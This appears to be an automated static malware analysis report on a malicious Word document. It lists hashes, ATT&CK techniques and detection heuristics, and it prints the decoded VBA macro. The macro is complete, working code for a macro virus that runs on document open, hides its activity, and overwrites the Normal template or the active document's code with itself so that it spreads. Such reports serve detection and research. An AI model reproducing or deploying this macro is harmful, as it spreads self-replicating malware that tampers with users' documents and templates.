Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b0278d54a6bfe500…

MALICIOUS

Office (OLE)

70.0 KB Created: 2016-03-10 08:36:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: f6c2f9955c4b9c5bd72f762d729e2d37 SHA-1: ad20678cd97dc08433e7ee6129c5f06da855f53e SHA-256: b0278d54a6bfe50098037d020138d8ce809c03b801f86665a8788665779dea5e
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a malicious VBA macro that is triggered by the Document_Open event. The macro appears to be designed to overwrite the Normal.dot template or the active document's template with its own code, potentially to establish persistence or to prepare for further malicious actions. The presence of the 'Micro-Virus' comment and the ClamAV detection signature 'Doc.Macro.MicroVirus-6097260-0' strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub